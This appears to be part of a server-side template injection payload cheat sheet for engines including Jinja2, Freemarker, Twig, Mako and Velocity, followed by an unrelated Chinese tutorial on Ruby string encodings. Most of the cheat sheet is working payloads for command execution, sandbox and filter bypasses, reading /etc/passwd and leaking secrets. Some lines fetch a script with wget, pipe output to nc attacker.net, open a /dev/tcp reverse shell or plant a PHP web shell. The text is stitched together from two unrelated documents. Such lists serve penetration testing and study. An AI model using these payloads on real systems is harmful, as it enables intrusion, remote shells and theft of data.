${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```
---
## Freemarker
[Official website](https://freemarker.apache.org/)
> Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
### Freemarker - Basic injection
The template can be :
* Default: `${3*3}`
* Legacy: `#{3*3}`
* Alternative: `[=3*3]` since [FreeMarker 2.3.4](https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html)
### Freemarker - Read File
```js
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII
```
### Freemarker - Code execution
```js
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
```
### Freemarker - Sandbox bypass
:warning: only works on Freemarker versions below 2.3.30
```js
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
---
## Groovy
[Official website](https://groovy-lang.org/)
### Groovy - Basic injection
Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection.
### Groovy - Read and create File
```groovy
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
```
### Groovy - HTTP request:
```groovy
${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}
```
### Groovy - Command Execution
```groovy
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
```
### Groovy - Sandbox Bypass
```groovy
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }
```
or
```groovy
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
```
---
## Handlebars
[Official website](https://handlebarsjs.com/)
> Handlebars compiles templates into JavaScript functions.
### Handlebars - Command Execution
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
---
## Jade / Codepen
[Official website](https://codepen.io/)
>
```python
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
---
## Java
### Java - Basic injection
> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
### Java - Retrieve the system’s environment variables
```java
${T(java.lang.System).getenv()}
```
### Java - Retrieve /etc/passwd
```java
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
---
## Django Templates
Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
### Detection
```python
{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }} # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
```
### Django Templates for post-exploitation
```python
# Variables
{{ variable }}
{{ variable.attr }}
# Filters
{{ value|length }}
# Tags
{% csrf_token %}
```
### Cross-site scripting
```python
{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}
```
### Debug information leak
```python
{% debug %}
```
### Leaking app’s Secret Key
```python
{{ messages.storages.0.signer.key }}
```
### Admin Site URL leak
```
{% include 'admin/base.html' %}
```
### Admin username and password hash leak
```
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
```
## Jinja2
[Official website](https://jinja.palletsprojects.com/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
### Jinja2 - Basic injection
```python
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}
```
Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on a Flask application.
### Jinja2 - Template format
```python
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
```
### Jinja2 - Debug Statement
If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
```python
<pre>{% debug %}</pre>
```
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
### Jinja2 - Dump all used classes
```python
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
Access `__globals__` and `__builtins__`:
```python
{{ self.__init__.__globals__.__builtins__ }}
```
### Jinja2 - Dump all config variables
```python
{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
```
### Jinja2 - Read remote file
```python
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
```
### Jinja2 - Write into remote file
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
### Jinja2 - Remote Code Execution
Listen for connection
```bash
nc -lnvp 8000
```
#### Jinja2 - Forcing output on blind RCE
You can import Flask functions to return an output from the vulnerable page.
```py
{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
from flask import make_response
r = make_response('Powned')
return r
")
}}
```
#### Exploit the SSTI by calling os.popen().read()
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
But when `__builtins__` is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
We can use these shorter payloads:
```python
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python
{{ lipsum.__globals__["os"].popen('id').read() }}
```
Source: https://twitter.com/podalirius_/status/1655970628648697860
#### Exploit the SSTI by calling subprocess.Popen
:warning: the number 396 will vary depending of the application.
```python
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```
#### Exploit the SSTI by calling Popen without guessing the offset
```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
```
#### Exploit the SSTI by writing an evil config file.
```python
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
### Jinja2 - Filter bypass
```python
request.__class__
request["__class__"]
```
Bypassing `_`
```python
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
```
Bypassing `[` and `]`
```python
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
```
Bypassing `|join`
```python
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
```
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
---
## Jinjava
[Official website](https://github.com/HubSpot/jinjava)
> Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
### Jinjava - Basic injection
```python
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
### Jinjava - Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
```python
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
---
## Lessjs
[Official website](https://lesscss.org/)
> Less (which stands for Leaner Style Sheets) is a backwards-compatible language extension for CSS. This is the official documentation for Less, the language and Less.js, the JavaScript tool that converts your Less styles to CSS styles.
### Lessjs - SSRF / LFI
```less
@import (inline) "http://localhost";
// or
@import (inline) "/etc/passwd";
```
### Lessjs < v3 - Command Execution
```less
body {
color: `global.process.mainModule.require("child_process").execSync("id")`;
}
```
### Plugins
Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.
```less
// example local plugin usage
@plugin "plugin-2.7.js";
```
or
```less
// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"
```
version 2 example RCE plugin:
```javascript
functions.add('cmd', function(val) {
return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
```
version 3 and above example RCE plugin
```javascript
//Vulnerable plugin (3.13.1)
registerPlugin({
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})
```
---
## Mako
[Official website](https://www.makotemplates.org/)
> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
### Direct access to os from TemplateNamespace:
Any of these payloads allows direct access to the `os` module
```python
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
```
PoC :
```python
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>
```
Source [@podalirius_](https://twitter.com/podalirius_) : [https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
---
## Pebble
[Official website](https://pebbletemplates.io/)
> Pebble is a Java templating engine inspired by [Twig](./#twig) and similar to the Python [Jinja](./#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
### Pebble - Basic injection
```java
{{ someString.toUPPERCASE() }}
```
### Pebble - Code execution
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
New version of Pebble :
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
---
## Ruby
### Ruby - Basic injections
ERB:
```ruby
<%= 7 * 7 %>
```
Slim:
```ruby
#{ 7 * 7 }
```
### Ruby - Retrieve /etc/passwd
```ruby
<%= File.open('/etc/passwd').read %>
```
### Ruby - List files and directories
```ruby
<%= Dir.entries('/') %>
```
### Ruby - Code execution
Execute code using SSTI for ERB engine.
```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for Slim engine.
```powershell
#{ %x|env| }
```
---
## Smarty
[Official website](https://www.smarty.net/docs/en/)
> Smarty is a template engine for PHP.
```python
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
---
## Twig
[Official website](https://twig.symfony.com/)
> Twig is a modern template engine for PHP.
### Twig - Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}
```
### Twig - Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Twig - Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}
```
### Twig - Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
```
Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
```python
FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
---
## Java - Velocity
[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
```python
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
---
## Java - Spring
```python
*{7*7}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
---
## patTemplate
> [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
---
## PHPlib and HTML_Template_PHPLIB
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear.
`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
`authors.php`
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
---
## Plates
Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.
controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
page template:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
layout template:
```php
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
---
## References
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
* [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
* [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/)
* [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)
* [RCE in Hubspot with EL injection in HubL - @fyoorer](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw)
* [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/)
* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf)
* [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)
* [Expression Language injection - PortSwigger](https://portswigger.net/kb/issues/00100f20_expression-language-injection)
* [Bean Stalking: Growing Java beans into RCE - July 7, 2020 - Github Security Lab](https://securitylab.github.com/research/bean-validation-RCE)
* [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [Handlebars template injection and RCE in a Shopify app ](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
* [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit)
* [Exploiting Less.js to Achieve RCE](https://www.softwaresecured.com/exploiting-less-js/)
* [A Pentester's Guide to Server Side Template Injection (SSTI)](https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti)
* [Django Templates Server-Side Template Injection](https://lifars.com/wp-content/uploads/2021/06/Django-Templates-Server-Side-Template-Injection-v1.0.pdf)
* [#HITB2022SIN #LAB Template Injection On Hardened Targets - Lucas 'BitK' Philippe](https://youtu.be/M0b_KA0OMFw)
* [Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Dec 4, 2022](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
* [Leveraging the Spring Expression Language (SpEL) injection vulnerability ( a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
* [Expression Language Injection - OWASP](https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection)
|
sec-knowleage
|
# Encoding 类
---
- https://www.kancloud.cn/imxieke/ruby-base/107307
---
# Ruby 的编码与字符串
字符编码是计算机进行字符操作的基础,字符编码有多种,而且即使是在同一个程序中,有时候输入 / 输出的字符编码也有可能不一样。例如程序输入是 `UTF-8` 字符编码,而输出却是 `Shift_JIS` 字符编码等情况。虽然“あ”的 `UTF-8` 的字符编码与 `Shift_JIS` 的字符编码实际上是不同的,但经过适当的转换,也是可以编写这样的程序的。
至于程序如何处理字符编码,不同的编程语言有不同的解决方案。Ruby 的每个字符串对象都包含“字符串数据本身”以及“该数据的字符编码”两个信息。其中,关于字符编码的信息即我们一般所讲的编码。
创建字符串对象一般有两种方法,一种是在脚本中直接以字面量的形式定义,另外一种是从程序的外部(文件、控制台、网络等)获取字符串数据。数据的获取方式决定了它的编码方式。截取字符串的某部分,或者连接多个字符串生成新字符串等的时候,编码会继承原有的字符串的编码。
程序向外部输出字符串时,必须指定适当的编码。
Ruby 会按照以下信息决定字符串对象的编码,或者在输入 / 输出处理时转换编码。
# 脚本编码与魔法注释
Ruby 脚本的编码就是通过在脚本的开头书写魔法注释来指定的。
脚本自身的编码称为脚本编码(script encoding)。脚本中的字符串、正则表达式的字面量会依据脚本编码进行解释。脚本编码为 EUC-JP 时,字符串、正则表达式的字面量也都为 EUC-JP。同样,如果脚本编码为 Shift_JIS,那么字符串、正则表达式的字面量也为 Shift_JIS。
我们把指定脚本编码的注释称为魔法注释(magic comment)。Ruby 在解释脚本前,会先读取魔法注释来决定脚本编码。
魔法注释必须写在脚本的首行(第 1 行以 #! ~ 开头时,则写在第 2 行)。下面是将脚本编码指定为 UTF-8 的例子。
```ruby
# encoding: utf-8
```
> 在 Unix 中,赋予脚本执行权限后,就可以直接执行脚本。这时,可以在文件开头以 `#!` 命令的路径 的形式来指定执行脚本的命令。在本书的例子中,我们经常使用 >ruby 脚本名 这样的形式来表示 在命令行执行脚本的命令为 ruby,但若像“#! /usr/bin/ruby”这样,在文件开头写上 ruby 命令的路径的话,那么就能直接以 `>` 脚本名的形式执行脚本了。
此外,为了可以兼容 Emacs、VIM 等编辑器的编码指定方式,我们也可以像下面这样写。
```ruby
# -*- coding: utf-8 -*- # 编辑器为Emacs 的时候
# vim:set fileencoding=utf-8: # 编辑器为VIM 的时候
```
